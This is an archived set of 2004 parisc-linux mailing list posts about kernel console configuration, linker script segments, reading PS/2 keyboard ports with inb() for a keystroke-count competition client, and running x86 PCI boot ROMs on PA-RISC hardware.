> in the pdc_console driver?. This pb also occurs even if I unplug the cdrom-drive
> or remove ide-cdrom driver from kernels. otc kernels boot well with builtin
> ide-cdrom driver without pdc_console driver)
> 
> Any other idea?
> 
> Thanks again,
>     Joel
> 
> 
> 
> 
> Christoph
> 
> 
> Helge Deller wrote:
> 
>>On Saturday 27 December 2003 22:00, Joel Soete wrote:
>>
>>
>>
>>>I try to see if pdc_console could be operational on my c110 with kernel
>>
> 2.6.0-pa5.
> 
>>>So I uncheck serial_mux and check pdc_console with make menuconfig (edit
>>
> also pdc_cons.c to define EARLY_BOOTUP_DEBUG)
> 
>>>Then I create the special file "mknod
>>
>>/dev/ttyB0 c 11 0", add "TB0:12345:respawn:/sbin/getty 38400 ttyB0" in /etc/inittab
>>
>>>(I also try to apply Richard patch <http://lists.parisc-linux.org/pipermail/parisc-linux/2002-May/016384.html>)
>>>
>>>But no way to make it works?
>>>
>>>Linux 
>>
>>ersion 2.6.0-pa5 (root@hpalin) (gcc version 3.3.3 20031206 (prerelease)
> 
> 3FP[0] enabled: Rev 1 Model 11 
> 
>>>                              The 32-bit Kernel has started...
>>>Initialized PDC Console for debugging.
>>>Determining PDC firmware type: Syste
>>
>>Map.
>>
>>>model 000058e0 00000481 00000000 00000002 77e47570 100000f1 00000004 0000008a
>>
> 0avers  0000000d
> 
>>>CPUID vers 11 rev 13 (0x0000016d)
>>>model 9000/777/C110
>>>Total Memory: 128 Mb
>>>[snip]
>>>Soft power switch enabled, polling @ 0xf0140000.
>>
>>Console: switching to colour frame buffer device 128x48
>>
>>>pty: 256 Unix98 ptys configured
>>>lp: driver loaded but no devices found
>>>Generic RTC Driver v1.07
>>>Serial: 8250/16550 driver $Revision: 1.90 $ 13 ports, IRQ sharing enabled
>>>ttyS0 at MM
>>
>>O 0xffd05800 (irq = 90) is a 16550A
>>
>>>ttyS1 at MMIO 0xffe02800 (irq = 121) is a 16550A
>>
>>
>>Your machine has standard serial ports. So why do you want to
>>switch on serial_mux stuff when it's not needed (and not possible
>>since the device is
>>not present in your machine) ?
>>
>>Helge
>>_______________________________________________
>>parisc-linux mailing list
>>parisc-linux@lists.parisc-linux.org
>>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>>
>>
> 
> 
> 
> 



-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at



From - Thu Nov 08 21:30:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] init and exit text problem
Date: Thu, 15 Jan 2004 00:18:29 +0000
Lines: 12
Approved: news@gmane.org
Message-ID: <20040115001829.GF9525@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623129 4566 80.91.229.3 (22 Nov 2014 02:25:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:29 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: willy@www.linux.org.uk  Wed Jan 14 17:18:30 2004
Return-Path: <willy@www.linux.org.uk>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 89F704854
	for <parisc-linux@parisc-linux.org>;
	Wed, 14 Jan 2004 17:18:30 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1AgvDR-0007dF-HN
	for parisc-linux@parisc-linux.org; Thu, 15 Jan 2004 00:18:29 +0000
Content-Disposition: inline
User-Agent: Mutt/1.4.1i
Original-Sender: <willy@www.linux.org.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 15 Jan 2004 00:18:31 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20632


Our vmlinux.lds.S doesn't discard init and exit text segments.  Anyone
want to look into fixing this?

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain


From - Thu Nov 08 21:30:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Brett Gmoser <aftli@optonline.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Raw I/O Problems with inb()
Date: Thu, 15 Jan 2004 21:34:23 -0500
Lines: 48
Approved: news@gmane.org
Message-ID: <20040115213423.565692ec.aftli@optonline.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416623129 4568 80.91.229.3 (22 Nov 2014 02:25:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:29 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: aftli@optonline.net  Thu Jan 15 19:34:24 2004
Return-Path: <aftli@optonline.net>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta15.srv.hcvlny.cv.net (mta15.srv.hcvlny.cv.net
	[167.206.5.109])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3E936484B
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Jan 2004 19:34:24 -0700 (MST)
Original-Received: from localhost.localdomain
	(ool-18baeb61.dyn.optonline.net [24.186.235.97]) by
	mta15.srv.hcvlny.cv.net
	(iPlanet Messaging Server 5.2 HotFix 1.16 (built May 14 2003))
	with SMTP id <0HRK007C39TBFK@mta15.srv.hcvlny.cv.net> for
	parisc-linux@lists.parisc-linux.org;
	Thu, 15 Jan 2004 21:34:23 -0500 (EST)
X-Mailer: Sylpheed version 0.9.6 (GTK+ 1.2.10; i386-redhat-linux-gnu)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 16 Jan 2004 02:34:24 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20633

Hello everybody.

I apologize if this is off topic, but I have seen relevant information posted to this list.  And believe me, I have searched everywhere else for a solution to this problem.

To give some short background information, I am programming the Linux client for a project that basically counts a users keystrokes, and sends the amount to a server which displays the count for all the world to see.  Teams and individuals compete from around the world, and we are approaching 5000 members.

At any rate, the application is written in C/C++.  I am using iopl() for permissions management, and inb() for reading raw data directly from the PS/2 keyboard to test if a key has been pressed.  All of this works great, and the program is complete, except for one problem.

It seems that on Athlon XP systems using PS/2 mice, inb(0x64) always says there is data waiting from the keyboard, when it is in fact mouse data.  I assume that different architecture on AMD systems is the cause of the problem, but is there a solution?  There must be.  Here is a snipped of the code I am using currently.  I apologize for the sloppiness of it - it's been modified about 30 times with 30 different solutions to the problem, all of which did not seem to fix it.  Commented out are solutions that I have tried and have not worked.

#define KEYBOARD_PORT 0x60
#define KEYBOARD_STATUS_PORT 0x64

bool keycounter::count(/*wplog* l*/) { // some very simple code to see if a key is being pressed or not.
  const unsigned char kbd_read_mask = 0x01;
  unsigned char status = inb_p(KEYBOARD_STATUS_PORT);
  /* unsigned char status = inb(KEYBOARD_STATUS_PORT);

  /* mouse data? */
//  if (status == 20 && ((status & kbd_read_mask) != 0x01) || (status & 0x21)) { fflush(0); return false; }
//  if(status & kbd_read_mask & 0x20) { fflush(0); return false; }
//  if(!(status & kbd_read_mask & 0x01)) { fflush(0); return false; }
//  if(!((inb(0x379) & 0x20) == 0x20)) { fflush(0); return false; }

  if(status!=20) { fflush(0); return false; }
  unsigned char c = inb(KEYBOARD_PORT);
  if(status==20 && c < TABLE_SIZE) {
    if(c==lastc) {
      fflush(0);
      return false;
    }
    lastc=c;
    fflush(0);
    return true;
  }
  else {   // key has been lifted
    lastc=0;
    fflush(0);
    return false;
  }
}

Thanks in advance for any insight you all may be able to give me!

-- 
Brett Gmoser
aftli@optonline.net


From - Thu Nov 08 21:30:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ivar Orskaug <Ivar.Olav.Harstad.Orskaug@idi.ntnu.no>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Non-HP PCI cards & x86 BOOT-ROMS
Date: Fri, 16 Jan 2004 12:04:22 +0100 (MET)
Lines: 9
Approved: news@gmane.org
Message-ID: <Pine.GSO.4.58.0401161155280.15789@vier.idi.ntnu.no>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416623130 4571 80.91.229.3 (22 Nov 2014 02:25:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:30 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: Ivar.Olav.Harstad.Orskaug@idi.ntnu.no  Fri Jan 16 04:04:26 2004
Return-Path: <Ivar.Olav.Harstad.Orskaug@idi.ntnu.no>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ray.idi.ntnu.no (ray.idi.ntnu.no [129.241.107.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 01A364852
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Jan 2004 04:04:25 -0700 (MST)
Original-Received: from vier.idi.ntnu.no (IDENT:32657@vier.idi.ntnu.no [129.241.107.65])
	by ray.idi.ntnu.no (8.12.10/8.12.10) with ESMTP id i0GB4MDx009692
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Jan 2004 12:04:23 +0100 (MET)
X-Spam-Status: No, hits=-5.4 required=4
X-Virus-Scanned: by amavisd-new-IDI
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 16 Jan 2004 11:04:26 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20634

Hi,
is it possible to run PCI card boot-roms containing x86 code with an
emulator before loading Linux (perhaps from PALO)? Has anyone succeeded
doing this, or is it "just not possible" for whatever reason? Anyway,
if it was possible, it could really make PA-RISCs more usable.
	I've heard that this is possible on both linux-mips and linux-alpha

	Ivar


From - Thu Nov 08 21:30:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Wood <mwood@its.uct.ac.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Non-HP PCI cards & x86 BOOT-ROMS
Date: Fri, 16 Jan 2004 13:16:11 +0200
Lines: 14
Approved: news@gmane.org
Message-ID: <20040116111611.GH9267@marmite.its.uct.ac.za>
References: <Pine.GSO.4.58.0401161155280.15789@vier.idi.ntnu.no>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623130 4573 80.91.229.3 (22 Nov 2014 02:25:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:30 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ivar Orskaug <Ivar.Olav.Harstad.Orskaug@idi.ntnu.no>
Original-X-From: mwood@its.uct.ac.za  Fri Jan 16 04:16:13 2004
Return-Path: <mwood@its.uct.ac.za>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.uct.ac.za (mail.uct.ac.za [137.158.128.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5EC7F487B
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Jan 2004 04:16:13 -0700 (MST)
Original-Received: from [137.158.26.155] (helo=marmite.its.uct.ac.za)
	by mail.uct.ac.za with esmtp (Exim 3.35 #1)
	id 1AhRxT-000EpN-00; Fri, 16 Jan 2004 13:16:11 +0200
Original-Received: from michael by marmite.its.uct.ac.za with local (Exim 3.36 #1
	(Debian)) id 1AhRxT-0002UP-00; Fri, 16 Jan 2004 13:16:11 +0200
Mail-Followup-To: Michael Wood <mwood@its.uct.ac.za>,
	Ivar Orskaug <Ivar.Olav.Harstad.Orskaug@idi.ntnu.no>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <Pine.GSO.4.58.0401161155280.15789@vier.idi.ntnu.no>
User-Agent: Mutt/1.5.4i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 16 Jan 2004 11:16:13 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20635

On Fri, Jan 16, 2004 at 12:04:22PM +0100, Ivar Orskaug wrote:
> Hi,
> is it possible to run PCI card boot-roms containing x86 code with an
> emulator before loading Linux (perhaps from PALO)? Has anyone succeeded
> doing this, or is it "just not possible" for whatever reason? Anyway,
> if it was possible, it could really make PA-RISCs more usable.
> 	I've heard that this is possible on both linux-mips and linux-alpha

I don't know, but you can do something similar with DHCP, tftp and a
lifimage.

-- 
Michael Wood <mwood@its.uct.ac.za>


From - Thu Nov 08 21:30:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Non-HP PCI cards & x86 BOOT-ROMS
Date: Fri, 16 Jan 2004 12:55:17 +0100
Lines: 52
Approved: news@gmane.org
Message-ID: <20040116115517.GM14285@lug-owl.de>
References: <Pine.GSO.4.58.0401161155280.15789@vier.idi.ntnu.no>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="Xg1Dpz0mHmRvkgSV"
X-Trace: ger.gmane.org 1416623130 4576 80.91.229.3 (22 Nov 2014 02:25:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:30 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: jbglaw@dvmwest.gt.owl.de  Fri Jan 16 04:55:19 2004
Return-Path: <jbglaw@dvmwest.gt.owl.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id D05DB4890
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Jan 2004 04:55:18 -0700 (MST)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id 89F924B4DE; Fri, 16 Jan 2004 12:55:17 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <Pine.GSO.4.58.0401161155280.15789@vier.idi.ntnu.no>
X-Operating-System: Linux mail 2.4.18 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
User-Agent: Mutt/1.5.4i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 16 Jan 2004 11:55:19 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20636


--Xg1Dpz0mHmRvkgSV
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Fri, 2004-01-16 12:04:22 +0100, Ivar Orskaug <Ivar.Olav.Harstad.Orskaug@=
idi.ntnu.no>
wrote in message <Pine.GSO.4.58.0401161155280.15789@vier.idi.ntnu.no>:
> is it possible to run PCI card boot-roms containing x86 code with an
> emulator before loading Linux (perhaps from PALO)? Has anyone succeeded
> doing this, or is it "just not possible" for whatever reason? Anyway,
> if it was possible, it could really make PA-RISCs more usable.
> 	I've heard that this is possible on both linux-mips and linux-alpha

You can't compare with Alpha. Alpha is designed with having PC hardware
in mind. This is why it has got some kind of x86 emulator in it's
firmware, so this is a planned feature.

MIPS OTOH is a good architecture to compare with. I don't know if this
has been done before, but of course, in theory, you can execure the PC
boot ROM of PCI cards. IIRC, XFree86 has done that for VGA card's
BIOSes, but IMHO there should be a better option.

Maybe it would be a nice idea to hack bochs to initialize those cards,
but that's a lot of work, though...

MfG, JBG

--=20
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur | Gegen Krieg
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet! |   im Ira=
k!
   ret =3D do_actions((curr | FREE_SPEECH) & ~(NEW_COPYRIGHT_LAW | DRM | TC=
PA));

--Xg1Dpz0mHmRvkgSV
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.3 (GNU/Linux)

iD8DBQFAB9ElHb1edYOZ4bsRAhAiAJ9I7eZeycpNbFCmhUu9JeqXv3dAOQCggFX5
gKxlOFgwOFp1rdbeWTH5hT4=
=lSSg
-----END PGP SIGNATURE-----

--Xg1Dpz0mHmRvkgSV--


From - Thu Nov 08 21:30:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Non-HP PCI cards & x86 BOOT-ROMS
Date: Fri, 16 Jan 2004 12:59:40 +0100
Lines: 49
Approved: news@gmane.org
Message-ID: <20040116115940.GN14285@lug-owl.de>
References: <Pine.GSO.4.58.0401161155280.15789@vier.idi.ntnu.no>
	<20040116115517.GM14285@lug-owl.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="NdlhywBBVma7OLA/"
X-Trace: ger.gmane.org 1416623130 4579 80.91.229.3 (22 Nov 2014 02:25:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:30 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: jbglaw@dvmwest.gt.owl.de  Fri Jan 16 04:59:41 2004
Return-Path: <jbglaw@dvmwest.gt.owl.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id 12130489B
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Jan 2004 04:59:41 -0700 (MST)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id 458594B4DE; Fri, 16 Jan 2004 12:59:40 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <20040116115517.GM14285@lug-owl.de>
X-Operating-System: Linux mail 2.4.18 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
User-Agent: Mutt/1.5.4i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 16 Jan 2004 11:59:41 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20637


--NdlhywBBVma7OLA/
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Fri, 2004-01-16 12:55:17 +0100, Jan-Benedict Glaw <jbglaw@lug-owl.de>
wrote in message <20040116115517.GM14285@lug-owl.de>:
> On Fri, 2004-01-16 12:04:22 +0100, Ivar Orskaug <Ivar.Olav.Harstad.Orskau=
g@idi.ntnu.no>
> wrote in message <Pine.GSO.4.58.0401161155280.15789@vier.idi.ntnu.no>:

> Maybe it would be a nice idea to hack bochs to initialize those cards,
> but that's a lot of work, though...

Thinking again about that, it maybe isn't all *that* hard. Bochs already
does know about the concept of shared DRAM and ROM BIOSes etc. Maybe
it's really just enough to hack it's memory class (yup, it's written in
C++) to not back the memory by RAM or on-disk storage, but to redirect
all accesses to physical RAM.

The same is to be done with I/O ports too, of course... For complex card
(SCSI RAID host adaptors), you may need to service interrupts, too:-(

MfG, JBG

--=20
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur | Gegen Krieg
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet! |   im Ira=
k!
   ret =3D do_actions((curr | FREE_SPEECH) & ~(NEW_COPYRIGHT_LAW | DRM | TC=
PA));

--NdlhywBBVma7OLA/
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.3 (GNU/Linux)

iD8DBQFAB9IsHb1edYOZ4bsRAjgPAKCET6nJWjE8u1Qn4lwxrPTPxM7cIgCeJ0LE
5Kjuk6465FaE+r7afitvJ1k=
=pLVv
-----END PGP SIGNATURE-----

--NdlhywBBVma7OLA/--


From - Thu Nov 08 21:30:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Non-HP PCI cards & x86 BOOT-ROMS
Date: Fri, 16 Jan 2004 11:12:19 -0500
Lines: 25
Approved: news@gmane.org
Message-ID: <20040116161219.GT5550@systemhalted>
References: <Pine.GSO.4.58.0401161155280.15789@vier.idi.ntnu.no>
	<20040116115517.GM14285@lug-owl.de>
	<20040116115940.GN14285@lug-owl.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623131 4582 80.91.229.3 (22 Nov 2014 02:25:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:31 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Original-X-From: carlos@baldric.uwo.ca  Fri Jan 16 09:21:12 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2FEF548C9
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Jan 2004 09:21:12 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1AhWa3-0007FK-00; Fri, 16 Jan 2004 11:12:19 -0500
Content-Disposition: inline
In-Reply-To: <20040116115940.GN14285@lug-owl.de>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (76% Sync Ratio [========..])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 16 Jan 2004 16:21:12 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20638

On Fri, Jan 16, 2004 at 12:59:40PM +0100, Jan-Benedict Glaw wrote:
> On Fri, 2004-01-16 12:55:17 +0100, Jan-Benedict Glaw <jbglaw@lug-owl.de>
> wrote in message <20040116115517.GM14285@lug-owl.de>:
> > On Fri, 2004-01-16 12:04:22 +0100, Ivar Orskaug <Ivar.Olav.Harstad.Orskaug@idi.ntnu.no>
> > wrote in message <Pine.GSO.4.58.0401161155280.15789@vier.idi.ntnu.no>:
> 
> > Maybe it would be a nice idea to hack bochs to initialize those cards,
> > but that's a lot of work, though...
> 
> Thinking again about that, it maybe isn't all *that* hard. Bochs already
> does know about the concept of shared DRAM and ROM BIOSes etc. Maybe
> it's really just enough to hack it's memory class (yup, it's written in
> C++) to not back the memory by RAM or on-disk storage, but to redirect
> all accesses to physical RAM.
> 
> The same is to be done with I/O ports too, of course... For complex card
> (SCSI RAID host adaptors), you may need to service interrupts, too:-(

How can you use Bochs? It runs a virtualized machine. The purpose of
running card firmware is to effect the *current* machine with some
configuration process.

c.



From - Thu Nov 08 21:30:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Non-HP PCI cards & x86 BOOT-ROMS
Date: Fri, 16 Jan 2004 17:27:30 +0100
Lines: 52
Approved: news@gmane.org
Message-ID: <20040116162730.GP14285@lug-owl.de>
References: <Pine.GSO.4.58.0401161155280.15789@vier.idi.ntnu.no>
	<20040116115517.GM14285@lug-owl.de>
	<20040116115940.GN14285@lug-owl.de>
	<20040116161219.GT5550@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
